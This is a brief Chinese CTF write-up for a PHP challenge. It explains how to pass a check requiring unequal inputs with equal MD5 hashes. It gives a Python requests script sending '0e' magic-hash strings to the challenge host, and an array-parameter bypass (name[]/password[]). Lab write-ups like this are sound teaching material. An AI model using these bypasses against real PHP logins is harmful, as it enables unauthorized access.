分析代码:1.包含flag2.php
2.GET传name,POST传password
$name != $password && md5($name) == md5($password) 属于MD5绕过中的php == 弱类型绕过
解题方法:
方法一
import requests
# 网站的URL
url = "http://node7.anna.nssctf.cn:28026"
# 用get方法传递的name参数
name = "aabg7XSs"
# 用post方法传递的password参数
password = "aabC9RqS"
# 两个参数的md5值均以0e开头且后面的字符均为纯数字
# 发送post和get请求,并获取响应对象
response = requests.post(url, data={"password": password}, params={"name": name})
# 打印响应的文本内容
print(response.text)
方法二
使用数组进行绕过,应为MD5不能加密数组,会报错,返回null,但是null=null返回的值为true
例如:a[]=1&b[]=2
我们使用HackBar
- ?name[]=1
- POST password[]=2